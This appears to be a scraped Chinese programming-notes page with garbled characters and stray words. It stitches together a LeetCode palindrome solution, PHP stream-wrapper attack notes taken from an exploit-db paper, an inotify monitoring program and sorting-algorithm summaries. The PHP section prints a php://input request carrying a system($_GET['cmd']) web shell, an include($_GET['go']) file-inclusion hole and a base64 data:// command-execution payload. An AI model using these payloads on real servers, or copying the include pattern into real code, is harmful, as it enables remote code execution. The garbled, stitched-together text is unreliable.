https://leetcode.com/problems/valid-palindrome/php
給定一個字符串,驗證它是不是迴文串,只考慮字母和數字字符,能夠忽略字母的大小寫。 說明:本題中,咱們將空字符串定義爲有效的迴文串。 示例 1: 輸入: "A man, a plan, a canal: Panama" 輸出: true 示例 2: 輸入: "race a car" 輸出: false
一、普通思路html
把數字和字符提取出來,而後若是是字母就轉換爲小寫。加到新的字符串中。linux
對於這個新的字符串,使用一個多條件循環,分別從字符串頭、字符串尾遍歷字符串的中間值,若是不一致就退出。直到遍歷結束仍是一致就斷定爲迴文字符串。git
二、高級思路github
在discuss看到的答案。算法
用一個大循環分別從字符串頭、字符串尾遍歷字符串的中間值,裏面兩個小循環,用isalnum()函數判斷是否是字母數字,若是不是就向前移動指針。shell
https://leetcode.com/problems/valid-palindrome/discuss/119173/C++-Easy-to-Understand-Solutionubuntu
第一種方案:數組
先判斷是否爲數字字母,跟以前寫的to-lower-case結合,把大寫轉換爲小寫。安全
#include<stdio.h> #include <string> using std::string; class Solution { public: bool isPalindrome(string s) { string re_val = ""; // 除去特殊符號,提取出字符串的小寫字母 for (char str_val : s) { // 確認字母數字 if (isalnum(str_val) != false) { if (str_val >= 'A'&& str_val <= 'Z') { // 取小寫與大寫之間的差值,獲得字符對應的小寫ASCII碼對應是什麼存進字符串中 re_val += (str_val + ('a' - 'A')); } else { // 若是是小寫就不處理 re_val += str_val; } } } for (int i=0,j=re_val.size()-1; i<j;i++,j--) { //一個指針從左邊指到右邊,一個指針從右邊指向左邊。若是有不一樣的值,就判斷不是迴文字符。 if (re_val[i] != re_val[j]) return false; } return true; } }; int main() { Solution solu; bool ret; ret = solu.isPalindrome("A man, a plan, a canal: Panama"); printf("%d \n", ret); ret = solu.isPalindrome("race a car"); printf("%d \n", ret); return 0; }
第二種方案:
bool isPalindrome(string s) { for (int i = 0, j = s.size() - 1; i < j; i++, j--) { // Move 2 pointers from each end until they collide while (isalnum(s[i]) == false && i < j) i++; // Increment left pointer if not alphanumeric while (isalnum(s[j]) == false && i < j) j--; // Decrement right pointer if no alphanumeric if (toupper(s[i]) != toupper(s[j])) return false; // Exit and return error if not match } return true; }
https://www.exploit-db.com/papers/45870
版本:PHP 4.3
大致思路:使用PHP提供的流功能繞過安全防禦,能夠操做流數據的通用函數以下:
* file * open * fwrite * fclose * file_get_contents * file_put_contents
怎麼利用流操做文件數據呢?
流的基礎格式:
<wrapper>://<target>
wrapper能夠指定要使用的流類型,例如File, FTP, PHPOUTPUT, PHPINPUT, HTTP 或者SSL,可使用如下語句獲取可使用的warpper信息:
<?php print_r(stream_get_wrappers()); ?>
利用php://input執行php代碼:
POST http://www.example.com?go=php://input%00 HTTP/1.1 Host: example.com Content-Length: 30 <?php system($_GET["cmd"]); ?>
php代碼:
<?php include($_GET["go"].".php");
http://www.example.com/?cmd=uname+-a&go=data://text/plain;base64,PD9waHANCnN5c3RlbSgkX0dFVFsiY21kIl0pOw0KPz4==
使用版本太老,PHP5版本沒有復現成功。
https://www.ibm.com/developerworks/cn/linux/l-ubuntu-inotify/
https://blog.csdn.net/daiyudong2020/article/details/51695502
調試Linux程序監控特定目錄下的程序釋放情景。
監控Linux程序文件釋放、刪除、移動的狀態。
Inotify 是一個 Linux 內核特性,它監控文件系統,而且及時向專門的應用程序發出相關的事件警告,好比刪除、讀、寫和卸載操做等。您還能夠跟蹤活動的源頭和目標等細節。
建立一個文件描述符,附加一個或多個監視器(一個監視器 是一個路徑和一組事件),而後使用 read()
方法從描述符獲取事件信息。read()
並不會用光整個週期,它在事件發生以前是被阻塞的。
更好的是,由於 inotify 經過傳統的文件描述符工做,您能夠利用傳統的 select()
系統調用來被動地監控監視器和許多其餘輸入源。兩種方法 — 阻塞文件描述符和使用 select()
— 都避免了繁忙輪詢。
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/inotify.h> #include <unistd.h> #define EVENT_NUM 12 char *event_str[EVENT_NUM] = { "IN_ACCESS", "IN_MODIFY", //文件修改 "IN_ATTRIB", "IN_CLOSE_WRITE", "IN_CLOSE_NOWRITE", "IN_OPEN", "IN_MOVED_FROM", //文件移動from "IN_MOVED_TO", //文件移動to "IN_CREATE", //文件建立 "IN_DELETE", //文件刪除 "IN_DELETE_SELF", "IN_MOVE_SELF" }; int main(int argc, char *argv[]) { int fd; int wd; int len; int nread; char buf[BUFSIZ]; struct inotify_event *event; int i; // 判斷輸入參數 if (argc < 2) { fprintf(stderr, "%s path\n", argv[0]); return -1; } // 初始化 fd = inotify_init(); if (fd < 0) { fprintf(stderr, "inotify_init failed\n"); return -1; } /* 增長監聽事件 * 監聽全部事件:IN_ALL_EVENTS * 監聽文件是否被建立,刪除,移動:IN_CREATE|IN_DELETE|IN_MOVED_FROM|IN_MOVED_TO */ wd = inotify_add_watch(fd, argv[1], IN_CREATE|IN_DELETE|IN_MOVED_FROM|IN_MOVED_TO); if(wd < 0) { fprintf(stderr, "inotify_add_watch %s failed\n", argv[1]); return -1; } buf[sizeof(buf) - 1] = 0; while( (len = read(fd, buf, sizeof(buf) - 1)) > 0 ) { nread = 0; while(len> 0) { event = (struct inotify_event *)&buf[nread]; for(i=0; i<EVENT_NUM; i++) { if((event->mask >> i) & 1) { if(event->len > 0) fprintf(stdout, "%s --- %s\n", event->name, event_str[i]); else fprintf(stdout, "%s --- %s\n", " ", event_str[i]); } } nread = nread + sizeof(struct inotify_event) + event->len; len = len - sizeof(struct inotify_event) - event->len; } } return 0;
排序算法的多種實現思路
排序算法的實現、算法的空間複雜度、穩定性是如何?
冒泡排序(Bubble Sort)也是一種簡單直觀的排序算法。它重複地走訪過要排序的數列,一次比較兩個元素,若是他們的順序錯誤就把他們交換過來。走訪數列的工做是重複地進行直到沒有再須要交換,也就是說該數列已經排序完成。這個算法的名字由來是由於越小的元素會經由交換慢慢「浮」到數列的頂端。
算法步驟
比較相鄰的元素。若是第一個比第二個大,就交換他們兩個。 對每一對相鄰元素做一樣的工做,從開始第一對到結尾的最後一對。這步作完後,最後的元素會是最大的數。 針對全部的元素重複以上的步驟,除了最後一個。 持續每次對愈來愈少的元素重複上面的步驟,直到沒有任何一對數字須要比較。
選擇排序是一種簡單直觀的排序算法,不管什麼數據進去都是 O(n²) 的時間複雜度。因此用到它的時候,數據規模越小越好。
算法步驟
首先在未排序序列中找到最小(大)元素,存放到排序序列的起始位置 再從剩餘未排序元素中繼續尋找最小(大)元素,而後放到已排序序列的末尾。 重複第二步,直到全部元素均排序完畢。
插入排序是一種最簡單直觀的排序算法,它的工做原理是經過構建有序序列,對於未排序數據,在已排序序列中從後向前掃描,找到相應位置並插入。
算法步驟
將第一待排序序列第一個元素看作一個有序序列,把第二個元素到最後一個元素當成是未排序序列。 從頭至尾依次掃描未排序序列,將掃描到的每一個元素插入有序序列的適當位置。(若是待插入的元素與有序序列中的某個元素相等,則將待插入元素插入到相等元素的後面。)
希爾排序,也稱遞減增量排序算法,是插入排序的一種更高效的改進版本。但希爾排序是非穩定排序算法。
希爾排序是基於插入排序的如下兩點性質而提出改進方法的:
插入排序在對幾乎已經排好序的數據操做時,效率高,便可以達到線性排序的效率;
但插入排序通常來講是低效的,由於插入排序每次只能將數據移動一位;
希爾排序的基本思想是:先將整個待排序的記錄序列分割成爲若干子序列分別進行直接插入排序,待整個序列中的記錄「基本有序」時,再對全體記錄進行依次直接插入排序。
算法步驟
選擇一個增量序列 t1,t2,……,tk,其中 ti > tj, tk = 1; 按增量序列個數 k,對序列進行 k 趟排序; 每趟排序,根據對應的增量 ti,將待排序列分割成若干長度爲 m 的子序列,分別對各子表進行直接插入排序。僅增量因子爲 1 時,整個序列做爲一個表來處理,表長度即爲整個序列的長度。
歸併排序(Merge sort)是創建在歸併操做上的一種有效的排序算法。該算法是採用分治法(Divide and Conquer)的一個很是典型的應用。
做爲一種典型的分而治之思想的算法應用,歸併排序的實現由兩種方法:
自上而下的遞歸(全部遞歸的方法均可以用迭代重寫,因此就有了第 2 種方法);
自下而上的迭代;
算法步驟
申請空間,使其大小爲兩個已經排序序列之和,該空間用來存放合併後的序列; 設定兩個指針,最初位置分別爲兩個已經排序序列的起始位置; 比較兩個指針所指向的元素,選擇相對小的元素放入到合併空間,並移動指針到下一位置; 重複步驟 3 直到某一指針達到序列尾; 將另外一序列剩下的全部元素直接複製到合併序列尾。
快速排序是由東尼·霍爾所發展的一種排序算法。在平均情況下,排序 n 個項目要 Ο(nlogn) 次比較。在最壞情況下則須要 Ο(n2) 次比較,但這種情況並不常見。事實上,快速排序一般明顯比其餘 Ο(nlogn) 算法更快,由於它的內部循環(inner loop)能夠在大部分的架構上頗有效率地被實現出來。
快速排序使用分治法(Divide and conquer)策略來把一個串行(list)分爲兩個子串行(sub-lists)。
快速排序又是一種分而治之思想在排序算法上的典型應用。本質上來看,快速排序應該算是在冒泡排序基礎上的遞歸分治法。
算法步驟
從數列中挑出一個元素,稱爲 「基準」(pivot); 從新排序數列,全部元素比基準值小的擺放在基準前面,全部元素比基準值大的擺在基準的後面(相同的數能夠到任一邊)。在這個分區退出以後,該基準就處於數列的中間位置。這個稱爲分區(partition)操做; 遞歸地(recursive)把小於基準值元素的子數列和大於基準值元素的子數列排序; 遞歸的最底部情形,是數列的大小是零或一,也就是永遠都已經被排序好了。雖然一直遞歸下去,可是這個算法總會退出,由於在每次的迭代(iteration)中,它至少會把一個元素擺到它最後的位置去。
堆排序(Heapsort)是指利用堆這種數據結構所設計的一種排序算法。堆積是一個近似徹底二叉樹的結構,並同時知足堆積的性質:即子結點的鍵值或索引老是小於(或者大於)它的父節點。堆排序能夠說是一種利用堆的概念來排序的選擇排序。分爲兩種方法:
大頂堆:每一個節點的值都大於或等於其子節點的值,在堆排序算法中用於升序排列;
小頂堆:每一個節點的值都小於或等於其子節點的值,在堆排序算法中用於降序排列;
堆排序的平均時間複雜度爲 Ο(nlogn)。
算法步驟
建立一個堆 H[0……n-1]; 把堆首(最大值)和堆尾互換; 把堆的尺寸縮小 1,並調用 shift_down(0),目的是把新的數組頂端數據調整到相應位置; 重複步驟 2,直到堆的尺寸爲 1。
計數排序的核心在於將輸入的數據值轉化爲鍵存儲在額外開闢的數組空間中。做爲一種線性時間複雜度的排序,計數排序要求輸入的數據必須是有肯定範圍的整數。
桶排序是計數排序的升級版。它利用了函數的映射關係,高效與否的關鍵就在於這個映射函數的肯定。爲了使桶排序更加高效,咱們須要作到這兩點:
同時,對於桶中元素的排序,選擇何種比較排序算法對於性能的影響相當重要。
基數排序是一種非比較型整數排序算法,其原理是將整數按位數切割成不一樣的數字,而後按每一個位數分別比較。因爲整數也能夠表達字符串(好比名字或日期)和特定格式的浮點數,因此基數排序也不是隻能使用於整數。